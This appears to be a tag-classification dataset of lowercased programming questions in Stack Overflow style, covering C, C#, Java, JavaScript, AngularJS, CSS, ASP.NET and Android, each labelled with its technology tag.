</code></pre>,ruby-on-rails
applying different rules when hovering over an active link  i m currently working with a set of links that are getting their background images replaced when they are focused  hovered over  and non-focused; but right now i also need to fix it so that when you hover a focused link you ll get yet another result.  my searching hasn t found anything and my experiments with anything like:   <pre><code>a:focus:hover { background:url(image.url) no-repeat;} </code></pre>   have met with less than desired results.  does anyone know of way to simply do what i m trying for,css
how to randomize json in angularjs  how can i randomize my following json in angularjs      <pre><code>{    1 : {              id :  1                que :  grand central terminal  park avenue  new york is the world s                options : {                  a :  largest railway station                    b :  highest railway station                    c :  longest railway station                    d :  none of the above              }               ans :  a          }    2 : {              id :  2                que :  entomology is the science that studies                options : {                  a :  behavior of human beings                    b :  insects                    c :  the origin and history of technical and scientific terms                    d :  the formation of rocks              }               ans :  b          }    3 : {              id :  3                que :  eritrea  which became the 182nd member of the un in 1993  is in the continent of                options : {                  a :  asia                    b :  africa                    c :  europe                    d :  australia              }               ans :  b          } } </code></pre>,angularjs
ansi c linked list what am i doing wrong   it crys that line:<br> <code>list_node * node = (list_node*) malloc(sizeof(list_node));</code>    fails on :   <pre><code>1&gt;list.c(31): error c2275:  list_node  : illegal use of this type as an expression 1&gt;list.c(8) : see declaration of  list_node  </code></pre>   <strong>h file :</strong>   <pre><code>#ifndef _list_h #define _list_h  typedef struct list_node;  typedef struct list_struct {     unsigned int count;     struct list_node * root;     struct list_node * last;     int sizeofdata; }list_struct;     #endif </code></pre>   <strong>c_file :</strong>   <pre><code>typedef struct list_node { void * data; struct list_node * next; }list_node;  status list__add (list_struct * this void * const item) {     assert(this)     assert(item)          struct list_node * node = (list_node*) malloc(sizeof(list_node));     isallocated(node);      node-&gt;data = malloc(this-&gt;sizeofdata);     isallocated(node-&gt;data);      memcpy(node-&gt;data item this-&gt;sizeofdata);     node-&gt;next = null;      if(null == this-&gt;root) /*if first item to be added*/     {         this-&gt;root= node;         this-&gt;last =this-&gt;root;     }     else     {         this-&gt;last-&gt;next = node;     }      return status_ok; } </code></pre>,c
how can i use the string  watch  as a key in a javascript associative array   i have an array declared like this:   <pre><code>var dict = []; </code></pre>   when i do this:   <pre><code>dict[ watch ] = 0; </code></pre>   this expression alerts <code>nan</code>   <pre><code>alert (dict[ watch ]); </code></pre>   i know this is because <code>watch()</code> is a function that is part of the object prototype. is there anyway around this so i can use any word as a key in my array     i am using firefox 3.6.6,javascript
java .properties file  having a lil issue  i have create a properties file :    config.properties located in ../resource/config.properties    this is the file currently :   <pre><code>destinationpdf=d:/documents/netbeansprojects/printing~subversion/fileupload/web/resources/pdf/ destination= d:/documents/netbeansprojects/printing~subversion/fileupload/uploaded/ filelist =d:/documents/netbeansprojects/printing~subversion/fileupload/web/resources/directory files/directoryfiles.txt </code></pre>   have i done the properties file ok      also i want to access this file and load the variables into a class     i have tried    <pre><code>public void loadprop() {     try {         prop.load(new fileinputstream( ../resources/config.properties ));         system.out.println(prop.getproperty( destinationpdf ));         system.out.println(prop.getproperty( destination ));         system.out.println(prop.getproperty( filelist ));      } catch (ioexception ex) {         ex.printstacktrace();     } } </code></pre>   but now the class will not compile becuase it can not find variable destination for example  so how do i load the variables from the file  and do i still need to declear the variable in the class       sorry if these are silly questions  first time using properties !    i do not get this error if i put in the variables normally like   <pre><code>private string destinationpdf =  d:/documents/netbeansprojects/printing~subversion/fileupload/web/resources/pdf/ ; //use on tornado// d:/my documents/netbeansprojects/printing~subversion/fileupload/web/resources/pdf/ ;//use on predator     </code></pre>   edit:    have now    <pre><code>private properties configprop = new properties();  public void loadprops() {     inputstream in = this.getclass().getclassloader().getresourceasstream( ../resources/config.properties );     try {         configprop.load(in);     } catch (ioexception e) {         e.printstacktrace();     } } </code></pre>   edit 2:   <pre><code>public void loadprop() {     inputstream in = this.getclass().getclassloader().getresourceasstream( ../resources/config.properties );     try {         prop.load(in);         system.out.println(prop.getproperty( destinationpdf ));         system.out.println(prop.getproperty( destination ));         system.out.println(prop.getproperty( filelist ));     } catch (ioexception e) {         e.printstacktrace();     } } properties prop = new properties(); private string destinationpdf = prop.getproperty( destinationpdf ); public string destination = prop.getproperty( destination ); </code></pre>   it is working  no erors etc but destination and destinationpdf are passing null values,java
convert min  sec to a 0.xxx notation in c#  i am new to c#. for school i have to make an exercise that converts the hours  minutes and seconds to a numeric value. so 37 min and 30sec becomes 0.625. anyone know how to do this     thanks a lot,c#
scan a value in the main and pass it to a function that convert that value c language  hi friends i have that this function in c language    <pre><code>struct webtech tramafunction(); </code></pre>   this function receive a value like this    <pre><code>/*¶bl0 l3 01 +08590323 -079343001 010215 00000000000000 -tn 000 012689997 001219456 000 7ff2 c07f 0 4 */ </code></pre>   and then the function make this:   <pre><code>struct webtech tramafunction(){ struct webtech wbt;  char buf[103]=  ;  scanf( %[^\t\n]s  buf);  printf( \n \n data destinated to convert=[%s]\n\n   buf); int z; z=strlen(buf); printf( size of data: %d  z); int i = 0; char *p = strtok (buf     ); char *array[16]={0}; while (p != null) {     array[i++] = p;     p = strtok (null     ); }  for (i = 0; i &lt;16; ++i){     wbt.x15 = 0;     if (array[i] != null){         wbt.x15=atoi(array[15]);     }  printf( data: [%s]\n   array[i]); }    printf( \n \t \t --data--\n );  strcpy(wbt.indice array[0]); printf( index: [%s]\n  wbt.indice);    wbt.prid=atoi(array[1]);  printf( pre index: [%d]\n  wbt.prid);  return wbt; } </code></pre>   the main do this:   <pre><code>int main() {   struct webtech con;   con = tramafunction();  return 0;  } </code></pre>   the question is how can i make that the data to be converted(char buf[]) get read in the main and not in the function.,c
how to overlay divs with pure css   to create this effect:    <img src= https://i.stack.imgur.com/m2udd.png  alt= enter image description here >    it is possible or would i need to design it with software,css
iphone to ipad convert  do i need to add all new xib file for ipad   i mean should i just copy old xib file and make it as ipad        i have a issue   lets say i  made a uilabel according to iphone now when i convert it to ipad   its just finish at 320   how to make fit according to ipad       <strong>updates</strong>    ok i am doing like this   <pre><code>    #ifndef __iphone_3_2 // if iphoneos is 3.2 or greater then __iphone_3_2 will be defined     typedef enum { // provided by noblemaster ]:-|         uiuserinterfaceidiomphone  // iphone and ipod touch style ui         uiuserinterfaceidiompad  // ipad style ui     } uiuserinterfaceidiom;     #define ui_user_interface_idiom() (([[uidevice currentdevice].model rangeofstring:@ ipad ].location != nsnotfound)   uiuserinterfaceidiompad : uiuserinterfaceidiomphone)     #endif // ifndef __iphone_3_2                             if (ui_user_interface_idiom() == uiuserinterfaceidiompad)                      nslog(@  ipad ); flag=1                  else                       nslog(@  iphone ); flag=0 </code></pre>   <strong>now in all view controller i am changing  ui like this</strong>    if(flag==0) { ui=1240 by 760 // ui is defined programmatically     } else if(flag==1) { } ui=320 by 480    <strong>is this good approach kindly suggest</strong>,iphone
list view - hightlight selected item with paging- asp.net  i have a list view with button control in one first column. when i click on the  button control  i m able to see the selected row getting highlighted. where as when i navigate to 2 or nth page of the list view and click on the button i m not getting my row selected or basically getting highlighted.    appreciate any help.    thanks,asp.net
"selecting element with id but without document object (in javascript)  i mean instead of doing <code>document.getelmentbyid( btn1 )</code> i m just doing this:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>btn1.addeventlistener( click   function() {
   alert( btn1 clicked );
 });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;button type= button  id= btn1 &gt;button&lt;/button&gt;</code></pre>
 </div>
 </div>
     how is this code working just fine",javascript
displaying typed characters on new line  may be funny question  i am very newbie in c#   <pre><code>class program {    static void main(string[] args)    {        int a;        a = convert.toint32(console.readline());        console.writeline(a);        console.readkey();    } } </code></pre>   i expected that after typing any character  these character would be written on new line in console  though these are printed on one line. where i am wrong     p.s.   <pre><code>console.writeline( asd ); console.writeline( dsa ); </code></pre>   this displayed as expected:   <pre><code>asd dsa </code></pre>,c#
measuring the number of methods in a class  i am supposed to count the number of methods in a class of any .net program. for this i am making use of the il of that particular program. initially i thought that i would count the number of  ret  in the il. but then i found out that even method declarations consists of the  ret  keyword. then i tried to go with  callvirt . but this would not work in all the cases. now i am thinking about something like this :-    count the number of times the following appears in the il:- end of method class_name::method_name    but i don t know how to implement this (i am a complete newbie to .net)    can you kindly suggest an alternate way to identify a method in a class by making use of the il,.net
warning: passing arguments make pointer from integer <pre><code>    struct config_struct {     int port; };   void read_int_from_config_line(char* config_line  int* val) {     char prm_name[max_variable_len];     sscanf(config_line   %s %d\n   prm_name  val); }  void read_config_file(char* config_filename  struct config_struct config) {     file *fp;     char buffer[max_buffer_size];      fp= fopen( settings.conf    r );     if (fp == null)     printf( config file does not exist  creating one.../n );     {         fp = fopen( settings.conf    w+ );         fputs( name:root\nip:192.168.0.1\nport:20\nlogfile:\n   fp);     }     while (fscanf(fp   %s   buffer) != eof)     {         fgets(buffer  max_buffer_size  fp);         if (buffer[0] ==  # ) {             continue;         }         if(!strcmp(buffer  port: )) {             read_int_from_config_line(buffer  config.port);         }     }     fclose(fp); </code></pre>   i got the warning <code>passing argument 2 of ‘read_int_from_config_line’ makes pointer from integer without a cast</code> read_int_from_config_line(buffer  config.port);    may i know how do i solve this  i may be an complete idiot to c as i just started 4weeks ago. some help will be appreciated. thanks,c
.net mvc - data not loading first time form is submitted  but loading instantly the second time the form is submitted  i have an .net mvc website that has a view with a form where the user selects a date range (i am not using ajax). when the user clicks submit  data is pasted to the controller and then the data pulled from an sql database and displayed in another view. there is a loader that displays while the data is pulling.     the issue i am having is that the first time the user submits the form  the loader displays  but the data never loads (the user has waited up to an hour). when the user goes back to the view with the form and resubmits the same information  the data then loads instantly. the second request happens instantly regardless of how long the user waited for the first request. i also had the users clear their cache. this occurs in both ie and chrome.     does anyone know why this is occurring and how to fix this issue,.net
strange parsing error <pre><code>&lt;asp:hiddenfield id= hidden&lt;%# eval( weekno ) %&gt;  value= hidden  runat= server  /&gt; </code></pre>   gives me:    <blockquote>    parser error message: the server tag is not well formed.  </blockquote>   anyone who can tell me why,.net
use html div to add border only on top and bottom   i use html div tag to format my header with border like this:   <pre><code>&lt;h3 style= background-color:red; padding:2% 0 2% 0; border:5px solid green &gt; this is a header &lt;/h3&gt; </code></pre>   however  i would like to have the border appears only on top and bottom  but not on left and right. i would like border in the same way as padding for top left bottom and right  but border does not have this feature(or i don t know ). is there any way in css style to do that,html
alert message using javascript  i am using alert message using java-script to display some kind of warning when some conditions are not met.  my only problem is when the alert message pops up and the users reads the message and clicks ok  then it goes back to the original page but the page shifts to the left side.  normally my page shows in the center but only when the java-script runs then it shifts to the left side of the page. if i copy the same url and paste in another page then everything will be aligned and will show in the center.  how can i fix this   is there another alerting message like jquery or something else that works nice.  pls. help.  thnaks   <pre><code>  using system; using system.collections.generic; using system.linq; using system.net.mail; using system.web; using system.web.ui; using system.web.ui.webcontrols; using system.data; using system.web.security; using system.web.ui.webcontrols.webparts; using system.web.ui.htmlcontrols; using ajaxcontroltoolkit; using system.data.sqlclient; using system.configuration; using system.collections; using system.web.routing;  public partial class homepage : system.web.ui.page {       protected void page_load(object sender  eventargs e)     {         string id = page.routedata.values[ id ] as string;          if (!ispostback)         {              binddata_action();          }            }   protected void btnapproval_click(object sender  eventargs e)     {          sqlconnection con = new sqlconnection(configurationmanager.connectionstrings[ testconnectionstring ].connectionstring);         sqldataadapter da = new sqldataadapter( select id  description  target_date from mytable  where id =    + request.querystring[ id ] +      con);         datatable dt = new datatable();         da.fill(dt);         if (dt.rows.count &gt; 0)         {           //if the condition above is true i am sending an email          }         else         {             response.write( &lt;script&gt;alert( before requesting approval additional info.  thanks );&lt;/script&gt; );         }     }  } </code></pre>,asp.net
prepopulate textbox with variable  asp.net  i d like to prepopulate my textfield with the following variable:   <pre><code>&lt;%=membership.getuser().email%&gt;  </code></pre>   ... so that users can submit their email address to my table without having to type it in.    here is my code:   <pre><code>&lt;form id= form1  runat= server &gt;     &lt;div&gt;         &lt;!-- this is the code for the form. there is a text box to collect the first name               last name and email address. all fields are required and i am validating that the              email address is a valid format. --&gt;         &lt;asp:table id= table1  runat= server &gt;             &lt;asp:tablerow&gt;                 &lt;asp:tablecell&gt;first name: &lt;asp:textbox id= txtfirstname                       runat= server  width= 60  /&gt; &lt;asp:requiredfieldvalidator id= requiredfieldvalidator1                       errormessage= enter first name  text= *  controltovalidate= txtfirstname                       runat= server  /&gt;                 &lt;/asp:tablecell&gt;                 &lt;asp:tablecell&gt;last name: &lt;asp:textbox id= txtlastname  runat= server  width= 60  /&gt;                      &lt;asp:requiredfieldvalidator id= requiredfieldvalidator2  runat= server                       controltovalidate= txtlastname  errormessage= enter last name  text= *  /&gt;                 &lt;/asp:tablecell&gt;             &lt;/asp:tablerow&gt;             &lt;asp:tablerow&gt;                 &lt;asp:tablecell&gt;email: &lt;asp:textbox id= txtemail  runat= server  width= 80  /&gt;                     &lt;asp:requiredfieldvalidator id= emailrequired                           runat= server  controltovalidate= txtemail  errormessage= email needs information                           text= * /&gt;                     &lt;asp:regularexpressionvalidator id= emailexpression                           runat= server  controltovalidate= txtemail  validationexpression= .*@.*\..*                           errormessage= invalide email address  text= *  /&gt;                 &lt;/asp:tablecell&gt;             &lt;/asp:tablerow&gt;             &lt;asp:tablerow&gt;                 &lt;asp:tablecell&gt;                     &lt;asp:validationsummary id= validationsummary1  runat= server  showsummary= true                           showmessagebox= true  runat= server  /&gt;                 &lt;/asp:tablecell&gt;             &lt;/asp:tablerow&gt;             &lt;asp:tablerow&gt;                 &lt;asp:tablecell&gt;&lt;asp:button id= btnsubmit  runat= server  onclick= addmember                       causesvalidation= true  height= 30  width= 100  text= add me  /&gt;                 &lt;/asp:tablecell&gt;             &lt;/asp:tablerow&gt;             &lt;asp:tablerow&gt;                 &lt;asp:tablecell&gt;                     &lt;asp:label id= lblduplicate  runat= server  text=  &gt;&lt;/asp:label&gt;                 &lt;/asp:tablecell&gt;             &lt;/asp:tablerow&gt;         &lt;/asp:table&gt;     &lt;/div&gt; &lt;/form&gt; </code></pre>   how can i accomplish this,asp.net
.net app not getting exe parameters when launched from web browser  i have a vb app that uses command line arguments.  i can run the app and it recognizes the args when i run it through a shortcut using  c:\myapp\myapp.exe -b: somesetting  -a: othersetting .  if i need to launch the app from html (such as html embedded email)  i create the link as:   <pre><code>&lt;a href= file:///c:\myapp\myapp.exe -b=somesetting&amp;-a=othersetting &gt;click here &lt;/a&gt; </code></pre>   it launches my app but doesn t pick up the arguments.  the vb code that grabs the arguments looks like:   <pre><code>dim args as string() = environment.getcommandlineargs() for cnt as integer = 1 to args.length - 1      select case args(cnt).substring(0  2).tolower         case  -b          do stuff         case  -a          do other stuff            setvar = args(cnt).substring(3)     end select  next </code></pre>   any one know how to grab the args when passed in from a url query  string i would appreciate help.,.net
js nested functions  i am using nested functions    <pre><code>function mainfunction (callbackfun) {     //some code + function (score)     {         var score = scorestring;         alert(scorestring);         callbackfun(score);     } }  //--&gt; i return this value to my calling function  mainfunction(function (anystring){     alert(anystring);  //-&gt; this would return me the value in callbackfun  });  </code></pre>   what i want is access that value in <code>anystring</code> out like   <pre><code>var fetchvalue ;  mainfunction(function (anystring){     fetchvalue =anystring;  //-&gt; this would return me the value in callbackfun  });  </code></pre>   please guide me if am on the right track .,javascript
updating $scope value on $rootscope.$on doesnt update dom (ui)  what i m trying to do is update the percentage value (of data downloaded) which i received from service. i am calling $emit to update the controller and in turn value on $scope   <pre><code>$rootscope.$emit( event:activitywithresults   results); </code></pre>   and in my controller i am doing this   <pre><code>$rootscope.$on( event:activitywithresults   function (event  results){   $scope.percentage = $scope.percentage || {};   $scope.percentage.value = results.percentagecomplete +  % ;   $log.debug( $scope.percentage:  + json.stringify($scope.percentage)); }); </code></pre>   i do see in the logs that value on $scope is being updated on interval (i am not calling $emit for every change but regular interval of say 4 or more percentage of data downloaded. in my html i am simply showing this value         {{percentage.value}} but this value doesn t update on ui but it updates only once or twice.    what is wrong here,angularjs
program runs then says it has stopped working. debugging issues  i am writing code in c using codeblocks that take a schedule and tells you if you are double booked on a certain item.    the file itself will be setup like:   <pre><code>2 2 0 1 5 1 8 12 </code></pre>   where the 1st number is how many schedules there are and the second number is how many scheduled items are in that schedule.    the next few lines read <code>0</code> as sunday  <code>1</code> as monday and so forth and then the hours that day the schedule is full  start time to end time.    my code is:   <pre><code>//10/14/11 //this code functions to let the user know if schedule conflicts exist in a certain amount of schedules.  #include &lt;stdio.h&gt;  int main() {     int hours_week[168];     int num_schedules;     int num_items;     int i;     int j;     int k;     int w;     file* ifp;     int day;     int start;     int end;     int schedule;     int booked;     int index;        //initialize the array by setting each spot equal to zero.     for (w=0; w&lt;168; w++){         hours_week[w] = 0;     }      //read in the file schedule.txt     ifp = fopen( schedule.txt   r );      //read in the number of schedules     fscanf(ifp   %d   &amp;num_schedules);      //create a loop to run as many times as there are schedules.     for (i=0; i&lt;num_schedules; i++){          //read in the number of items in schedule.         fscanf(ifp   %d   &amp;num_items);          j = 0;         while (j &lt; num_items){             j++;              //read in the day  start time  and end time.             fscanf(ifp   %d   day);             fscanf(ifp   %d   start);             fscanf(ifp   %d   end);              //multiply day by 24 and then add start and end hours to get their new times.             start = (day * 24) + start;             end = (day * 24) + end;              for (k = start; k &lt;= end; k++){                 if (hours_week[k] == 0)                     hours_week[k] = 1;                 else if (hours_week[k] == 1)                     schedule = booked;             }              //close the file             fclose(ifp);           if (schedule == booked)             printf( i m sorry  schedule %d has a conflict in it.\n   i);         else             printf( great planning! you have no schedule conflicts in schedule %d.\n   i);         }     } return 0; } </code></pre>,c
understanding jquery build from github. can t understand concatenation of jquery using gruntjs  i am trying to understand jquery source code. on the <a href= https://github.com/jquery/jquery  rel= nofollow >jquery github repository</a> it builds jquery files using gruntjs. after having a look at the gruntjs file in jquery repository if found that there is no concatenation task defined. however there is a call to    <pre><code>require( load-grunt-tasks )(grunt); </code></pre>   which is used to run tasks from npm.    going through some intro on grunt <a href= http://gruntjs.com/configuring-tasks#compact-format  rel= nofollow >here</a>  it describes how should the concatenation task be defined. but i can t find any such code in jquery repo.    can somebody explain me how the jquery code is being assembled  it will allow me to separate the modules and have a look at them one at a time.,jquery
how do i assign the same property to a list of winform classes   i have an arraylist of all a bunch of winform controls (textboxes  checkboxes  radio buttons  etc).    i am trying to enable/disable them all at once.    code is as below:   <pre><code>button button = new button(); label label = new label(); listview listview = new listview();  arraylist controllist = new arraylist();  controllist.add(button); controllist.add(label); controllist.add(listview);  foreach(object o in controllist) {     o.enabled = false; } </code></pre>   but of course  this wouldn t work  since the class object does not have the property  enabled  in it.    what should i do to make this work,c#
questions regarding math and programming  i was computer science student in college one of the courses was c++. i enjoyed learning the native c++. i studied to pointers and classes and inheritance .    after that i took data structures  it was a nightmare(code implementation). reasons are : 1-i m not ready (i was careless back in school before college  my math skills were worse than you may think not because i tried but because i didn t try! i don t remember myself studying except the nights before the actual exams). 2-when i took data structures i realized computer science without any doubt is not for me(not even close to ready).    i have interest  even though i wasted years (2 exactly) feeling guilty for applying for cs.    am i a unique case or there are regular people like me who managed to succeed  is it possible to excel even in my age 22    is it possible to be a good programmer after years of practicing  is it possible to learn math to assist me on becoming a good developer in future years     im now in cis major and it is way easier than cs and i could manage to pass  even though it is different than the one in your minds.,c++
jquery - enlarge tab  i hava a website with a navigation bar which consists of several tabs. now i would like to enlarge a tab as soon as a user moves the mouse over it. to make this more clear  here are two pics that should illustrate what i mean. this pic shows the navigationbar in standard mode:<img src= https://i.stack.imgur.com/olu0y.jpg  alt= enter image description here >    and now as soon as a mouseover happens  the tab should look like this: <img src= https://i.stack.imgur.com/zh6ar.jpg  alt= enter image description here >    i know that this can be done with jquery. unfortunately though  i couldn t find an appropriate solution or plug-in.    any help is very appreciated.    thanks      enne,jquery
retrieving data from databases in c#  am new to programming and right now am working in c#  well now am trying something. i created a database in ms access containing rows and columns of data. i also created a windows form application containing text boxes. what i want to do now is to write a code that collects each data from a single column and row in the database table and insert it into a each text box in the windows form. this is what i did:   <pre><code>try  {     //...     command.commandtext =  select (table1.matricule  table1.name  table1.department  table1.specialty  table1.session) from table1 where (((table1.matricule)=[textbox6.text])) ;     command.commandtype = commandtype.text;     connection.open();      oledbdatareader reader = command.executereader();      while (reader.read())     {         person p = new person();          textbox1.text = reader[ table1.matricule ];         textbox2.text = reader[ table1.name ];         textbox3.text = reader[ table1.department ];         textbox4.text = reader[ table1.specialty ];         textbox5.text = reader[ table1.session ];          personslist.add(p);     }     return personslist; } catch (exception) {     throw; } </code></pre>,c#
angularjs search/filter in nested ng-repeats   i m stuck with the filtering of angularjs. the easy things do work  like search on names  but what i can t figure out is how to search in nested ng-repeats.    the output is clear and correct  the only thing i can t figure out is how to search for a specific sheep in all the farms.   <pre><code>&lt;fieldset&gt;     &lt;input type= text  placeholder= search farm  ng-model= search.$ &gt; &lt;/fieldset&gt;  &lt;section ng-repeat= farm in farms | filter: search | filter:search.sheep &gt;     &lt;h4&gt;farm: {{ farm.name }}&lt;/h4&gt;     &lt;ul&gt;         &lt;li ng-repeat= sheep in farm.sheeps &gt;             {{ sheep }}         &lt;/li&gt;     &lt;/ul&gt;  &lt;/section&gt;  &lt;aside&gt;     &lt;ul&gt;         &lt;li ng-repeat= sheep in sheeps &gt;             &lt;label&gt;                 &lt;input type= checkbox  ng-model= search.sheep  value= {{ sheep.name }} &gt;                 {{ sheep.name }}             &lt;/label&gt;         &lt;/li&gt;     &lt;/ul&gt; &lt;/aside&gt; </code></pre>   the json structure of farm:   <pre><code>{     id: 3      name:  farmname       sheeps: [          sheep 1            sheep 2            sheep 3            sheep 4      ]  } </code></pre>   or is it easier  if i make the json like this    <pre><code> {             id: 3              name:  farmname               sheeps:  sheep 1 - sheep 2 - sheep 3  } </code></pre>   use-case: click on sheepname > show farm that has sheep in his farm.,angularjs
how to embed streaming video (rtmp) in html  how to embed streaming video (rtmp) in html link rtmp : <a href= http://42.116.119.44:4022/udp/225.1.2.244:30120  rel= nofollow noreferrer >http://42.116.119.44:4022/udp/225.1.2.244:30120</a>,html
how keep aspect ratio in bitmap drawable  how i can keep aspect ratio if i am using gravity <code>fill_vertical</code> or <code>fill_horizontal</code>  in this code:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;bitmap xmlns:android= http://schemas.android.com/apk/res/android       android:src= @drawable/_toogle_green      android:gravity= bottom|fill_vertical  /&gt; </code></pre>   bitmap fills vertical  but in horizontal keeps original width and aspect ratio is broken.    i believe this question was asked  but i really can t find it  only for imageview or imagebutton. but i need do that in drawables.,android
show multiple pins on mkmap iphone  hello friend in my application i am showing multiple pins on mapview. i have two mutablearray first for latitude and second for longitude each array have 10 values as i am showing bellow code in my method:   <pre><code>- (void)showaddressallbusiness {     annotationsarray=[[nsmutablearray alloc] init];        nslog(@ %d  [listoflatitude count]);      nslog(@ %d  [listoflongitude count]);      nslog(@ %d  [listofplacename count]);      for (int i =0;i &lt; [listoflatitude count]; i++) {         mkcoordinateregion region =  { {0.0  0.0 }  { 0.0  0.0 } };         region.center.latitude = [[listoflatitude objectatindex:i] doublevalue];         region.center.longitude = [[listoflongitude objectatindex:i] doublevalue];         region.span.longitudedelta = 0.1f;         region.span.latitudedelta = 0.1f;         [self.mapviewcityguide setregion:region animated:yes];         [self.mapviewcityguide setzoomenabled:yes];         addannotation = [[addressannotation alloc]init];          addannotation.mtitle = [nsstring stringwithformat:@ %@  [listofplacename objectatindex:i]];         addannotation.coordinate = region.center;         [self.mapviewcityguide addannotation:addannotation];         [annotationsarray addobject:addannotation];       }     nslog(@ %d  [self.mapviewcityguide.annotations count]);     [self centermap]; } </code></pre>   when i am using latitude and longitude array values which is appear from webservice then  this code is not working fine and i am debugg the code then mapviewcityguide getting nil or 0x0.    if i am using hard code latitude and longitude value as mention bellow in the array and call this method then it will show all pins on map how can i solve this problem     <pre><code>listofplacename = [[nsmutablearray alloc] initwithobjects:@ test  @ test  @ test  @ pithempur  @ test  @ test  @ test  @ test   nil];      listoflatitude = [[nsmutablearray alloc] initwithobjects:@ 22.71957  @ 23.17930  @ 22.96123  @ 22.60987  @ 22.45260  @ 22.55244  @ 22.60000  @ 22.68330   nil];     listoflongitude = [[nsmutablearray alloc] initwithobjects:@ 75.85773  @ 75.78491  @ 76.05141  @ 75.69644  @ 75.94197  @ 75.75653  @ 75.30000  @ 75.61670   nil];      [self showaddressallbusiness]; </code></pre>,iphone
system.exception vs system.systemexception  what is the difference between system.exception vs system.systemexception,.net
function call from aspx design time error  name does not exist in the current context   i want to change the styles of certain elements on my page depending on the role of the logged in user.    to achieve this  i m calling a function to execute some server code that does the evaluation and returns a string being the name of the style rule:   <pre><code>&lt;li class= &lt;%=checkallowed( admin ); %&gt; &gt; </code></pre>   in my code file i have the following:   <pre><code>public string checkallowed(string role) {     if (httpcontext.current.user.isrole(role))     {         return  visible-menu-item ;     }     else     {         return  hidden-menu-item ;     } } </code></pre>   the function name in the markup is underlined red with the following error:   <blockquote>    the name  checkallowed  does not exist in the current context.  </blockquote>   am i calling the function correctly  if not  how would this be done correctly,asp.net
what s the difference for the controller arguments  one is wrapping services and return function in a array  what s the difference for the controller arguments  one is wrapping services and return function in a array     it seems type 1 obeys the dry principle.    i don t get the meaning of the difference between the following 2 syntax    <h1>type 1</h1>  <pre><code>app.controller( userctrl   [ $scope    $http    $resource    users    user    $location   function($scope  $http  $resource  users  user  $location) {     .... }]); </code></pre>  <h1>type 2</h1>  <pre><code>app.controller( userctrl   function($scope  $http  $resource  users  user  $location) {    ....  }); </code></pre>,angularjs
java how to convert a java.nio.buffer into a bytebuffer  i m facing a little problem i have two libraries one send me the output as java.nio.buffer and the other receives the input as a java.nio.bytebuffer how do i make the conversion     thanks    the buffer is from javacv from this piece of code:   <pre><code>private bytepointer[]   image_ptr; private buffer[]        image_buf;  // determine required buffer size and allocate buffer int size = avpicture_get_size(fmt  width  height); image_ptr = new bytepointer[] { new bytepointer(av_malloc(size)).capacity(size) }; image_buf = new buffer[] { image_ptr[0].asbuffer() };  // assign appropriate parts of buffer to image planes in picture_rgb // note that picture_rgb is an avframe  but avframe is a superset of avpicture avpicture_fill(new avpicture(picture_rgb)  image_ptr[0]  fmt  width  height); picture_rgb.format(fmt); picture_rgb.width(width); picture_rgb.height(height); </code></pre>,java
can the focus box around a radio button be removed   on my page i have a few radio buttons. when one is selected a dashed focus box appears around the button. can this focus box be removed,html
last char in scanf  i am scanning from stdin input from user that looks like    <pre><code>{ 1  2  3  4  5  6 } </code></pre>   code which i am using is  pretty simple   <pre><code>int main ( void ) {    char d;   int i;   while(1){     scanf( %c %d  &amp;d &amp;i);     printf( %c %d  d i);       } </code></pre>   but the output is always without last curly bracket e.g    <pre><code>input = { 1  70  8   1 } output = { 1  70  8  1 1 </code></pre>   while i want to output be exactlrey the same and store numbers in the array  do you have any ideas how to fix this unwanted behavior&lt;,c
wrong date_create_from_format  jmy   i need to import date in format <code> jmy </code> and output it to the other format  but this function is returning wrong date:   <pre><code>$date = date_create_from_format( jmy    10114 ); echo date_format($date   d.m.y ); </code></pre>   i am awaiting <strong>01.01.2014</strong> from it  but it returns <strong>10.11.2004</strong>. when i tried <code> j.m.y </code> i ve got correct result. problem is  that i can t change input from imported data and i need it as described.,php
c: reverse a file   line by line  i m trying to reverse a file line by line using recursion. so basically an input of. i am looking for a way to possibly get started on this without using any pointers or arrays. if you can point me in the right direction that would perfectly fine.   <pre><code>dogs cats </code></pre>   would have a output of   <pre><code>sgod stac </code></pre>   this is how my source code looks like so far but i m stuck just reversing the entire text file (via command line &lt; ) rather than the line.   <pre><code>#include &lt;stdio.h&gt;  void recursion(); int main (int argc  char argv) {   recursion();   printf( \n ); }  void recursion() {   int c;   while((c = getchar()) != eof)     {       recursion(c);       printf( %c  c);     } } </code></pre>,c
how does android implement the inpurgeable of bitmapfactory.options   android has deprecated <a href= https://developer.android.com/reference/android/graphics/bitmapfactory.options.html#inpurgeable  rel= nofollow noreferrer >options.inpurgeable</a> from api 11. i know the usage and effect of inpurgeable:   <blockquote>    as of lollipop  this is ignored. in kitkat and below  if this is set to true  then the resulting bitmap will allocate its pixels such that they can be purged if the system needs to reclaim memory. in that instance  when the pixels need to be accessed again (e.g. the bitmap is drawn  getpixels() is called)  they will be automatically re-decoded.  </blockquote>   but i don t know the reason of deprecation. i want to know the implementation of inpurgeable in android（implementation principle). how to re-decoded  could someone help me  thanks in advance.    i have found <a href= https://stackoverflow.com/questions/30298081/android-5-0-doesnt-support-bitmapfactory-options-inpurgeable >this answer</a>. it has explain why deprecate inpurgeable. i look forward to an more deep explanation.,android
last fgets in a loop never executes  i am trying to populate 2 arrays using fgets. for some reason  the last fget of the last loop iteration never executes.     for example  if num_inputs = 5  only 9 lines are read (instead of 10).   <pre><code>int num_imputs;  //read the number of inputs  scanf( %d   &amp;num_imputs);  char secret_arr[num_imputs][8];//stores all the secrets char encoded_message_arr[num_imputs][256];//stores all the encoded messages  for(int i = 0; i &lt; num_imputs ; i++){      fgets (secret_arr[i] 8  stdin);     fgets (encoded_message_arr[i] 256  stdin);  } </code></pre>   this code works perfectly find if i hardcode num_inputs instead of reading it using scanf(). can someone explain why this is happening,c
